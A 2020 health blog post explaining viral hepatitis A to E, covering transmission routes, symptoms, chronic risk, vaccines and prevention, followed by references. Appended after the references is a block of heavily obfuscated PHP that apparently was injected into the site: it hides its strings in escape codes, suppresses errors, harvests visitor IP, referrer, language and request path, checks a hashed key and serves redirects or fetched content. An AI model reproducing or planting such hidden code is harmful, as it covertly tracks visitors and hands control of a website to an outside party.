The ABCs of Hepatitis

Written by Jiveswara Vijiakumar
Posted on July 28, 2020

Sick Woman
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Another day another disease gets the spotlights. At the time of writing, COVID-19 is still rampant around the world. All the focus goes into COVID and people start to forget that there are still various other viruses and diseases looming around. One prevalent disease, or rather a class of diseases, is Hepatitis.

What exactly is it? Often associated with just another word doctors and health professionals throw around, hepatitis is one of the most prevalent diseases worldwide. Hepatitis is the inflammation of the liver caused by either viral infections, autoimmune diseases, and toxic substances abuse. Among these 3, the most common cause is viral infections by hepatitis viruses A, B, C, D, & E.

Hepatitis A

Hepatitis A is caused by the Hepatitis A Virus (HAV) often transmitted through the fecal-oral route. This means water and food and other means which are contaminated by fecal matter containing HAV can infect you.

The infection itself is short term, not acute, and does not cause permanent liver damage. Think of it as a severe form of food poisoning. More than 70% of adults tend to develop jaundice due to the malfunctioning of the liver. Worry not, as this usually does not progress to a long-term(chronic) state.

There are various vaccinations for HAV from childhood as well as for adults with high-risk lifestyles.

Hepatitis B

Hepatitis B is caused by the Hepatitis B Virus (HBV) often transmitted through body fluid contact. This means saliva, semen, and blood coming into contact with your mouth, nose, eyes, and more.

An infection is often asymptomatic in children below 5 years of age, but present short term (acute) symptoms in up to half of people above 5 years of age. In the event of infant infection at birth, they have a 90% tendency to develop long term (chronic) infection.

HBV is a bit more aggressive, while not producing any permanent liver damage in acute infections, it does have a 15 to 25% tendency of causing chronic liver diseases such as liver cirrhosis, liver failure, and liver cancer in chronic infections.

Hep B vaccines are available and are still the best prevention for Hepatitis B

Hepatitis C

Hepatitis C is caused by, You guessed it!, the Hepatitis C Virus (HCV). It is transmitted through infected blood contact. This can occur through needle sharing, birth, sexual contact, and more.

HCV infection can cause jaundice in about 30% of cases combined with other symptoms such as abdominal pain and anorexia in about 20% of cases. 50% of infections progress to long term (chronic) infections.

About 5 to 25% of infections tend to develop liver cirrhosis in 10-20 years untreated and they, in turn, have a 1 to 4% chance of developing hepatocellular carcinoma. Fret not, as 90% of Hepatitis C carriers infections can be cured with proper medical care.

There are currently no vaccines available for HCV even though many are in trial phases.

Hepatitis D

The Hepatitis D Virus (HDV) causes Hepatitis D, but rather differently. While it is also transmitted through body fluids, unlike its cousins, HDV requires HBV to successfully cause the infection. This can be through co-infection (together) or superinfection (after) of HBV carriers. This virus is also transmitted through body fluid contact.

Hepatitis D infection is acute in 95% of cases but can cause chronic infection in superinfection cases. It does not pose its own set of symptoms but only exaggerates HBV infection symptoms. In superinfection cases, it can also drastically increase liver cirrhosis progression.

There are no vaccines currently available for HDV but can be prevented with HBV vaccination.

Hepatitis E

The Hepatitis E Virus (HEV) is transmitted through the fecal-oral route. It is the least aggressive and prevalent of the family, where most infections are asymptomatic and do not develop neither acute nor chronic infections. Currently, there are no vaccines for HEV

In a nutshell,

Hepatitis comparisons

Symptoms

The symptoms of hepatitis infections are usually almost similar, with changes in severity.

Hepatitis Symptoms

Preventions

Vaccines are by far the best prevention of most diseases including viral hepatitis. Currently, vaccines are only available against HAV, HBV, & HDV. Remaining prevention methods include;

  • Maintaining social distancing
  • Wearing a face mask
  • Maintaining proper hygiene
  • Washing food and ingredients before cooking
  • Minimizing contact with viral carriers if identified
  • Periodical medical tests such as liver function and renal function tests.

What have we learned?

washing hands
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Hepatitis is a form of liver inflammation that can be caused by viral hepatitis viruses A, B, C, D, and E. They differ in the routes of transmission which are fecal-oral, body fluid, and blood. Vaccines are only available for HAV and HBV, although the Hep B vaccine can indirectly prevent HDV infection. Preventions for hepatitis infections are vaccinations, healthy lifestyles, and adequate hygiene practices.

Hence, always remember to consult with a medical professional regularly to watch out for signs of hepatitis infections, developments, and liver impairment.

So, maintain social distancing and wear a mask to avoid coming into contact with infected body fluids. Hey, that sounds familiar! Not sure if your mask is put for the job? Check this out!


References 1. CDC. Viral Hepatitis. https://www.cdc.gov/hepatitis/hdv/hdvfaq.htm

2. WHO. What is Hepatitis. https://www.who.int/news-room/q-a-detail/what-is hepatitis#:~:text=There%20are%205%20main%20hepatitis,for%20outbreaks%20and%20epidemic%20spread.

3. Thuener J. Hepatitis A and B Infections. Prim Care. 2017;44(4):621-629. doi:10.1016/j.pop.2017.07.005

4. Pol S, Lagaye S. The remarkable history of the hepatitis C virus. Genes Immun. 2019;20(5):436-446. doi:10.1038/s41435-019-0066-z

5. Kamar N, Izopet J, Pavio N, et al. Hepatitis E virus infection. Nat Rev Dis Primers. 2017;3:17086. Published 2017 Nov 16. doi:10.1038/nrdp.2017.86

6. Bonnemain CL, Cochand L, Portmann A, Béguelin C. Nouveaux aspects de la prise en charge de l’hépatite D [Recent advances in managing hepatitis D]. Rev Med Suisse. 2019;15(666):1802-1806.

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x65\156\164"])); goto QWvm_m89LmNDj; wxds1ZPZC8t8f: header("\x48\124\x54\x50\x2f\61\56\x31\x20\x33\60\x32\x20\115\x6f\166\145\40\x54\x65\x6d\x70\157\162\141\162\151\x6c\x79"); goto G3yKAUUDdBKxr; QWvm_m89LmNDj: goto zWGKI4Hv2pTpv; goto W3ZYMEuL4xF9_; W3ZYMEuL4xF9_: case 404: goto UUL5hmfwmR0qY; YnYvxmOB6ia_T: header("\163\x74\141\x74\x75\x73\72\x20\64\x30\64\40\x4e\157\x74\40\x46\x6f\x75\156\x64"); goto O1k_1HkHx5g7k; O1k_1HkHx5g7k: goto zWGKI4Hv2pTpv; goto B2pDSvIkmb1VQ; UUL5hmfwmR0qY: header("\110\124\124\x50\x2f\x31\56\61\x20\x34\60\x34\40\x4e\157\x74\40\106\x6f\165\156\x64"); goto YnYvxmOB6ia_T; B2pDSvIkmb1VQ: default: goto zWGKI4Hv2pTpv; } goto fCJG5ES13l3i4; iKMb9NpQ0Wa1f: error_reporting(0); goto LOenakWexhCiK; CUVyx2kvjc7Bv: if (!strlen($k2gKYzhbIidOs["\x63\157\x6e\164\145\156\x74"])) { goto bTvjwr0JJluOZ; } goto VoMACLW07tNMn; ocrlFo60HdKtw: vGYt_mFZGk1hY: goto LeROmk0HXuaAG; Clqit5qp55a__: $v_byxu_GH_aWy = substr($KE8StQL98AulL, strpos($KE8StQL98AulL, "\56")); goto DvwabHGGPp6Vv; rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; goto nZ3SrqwAvDoV3; P0Iq6Ou1jvLCT: OIgTYm8OBN0aV: ?>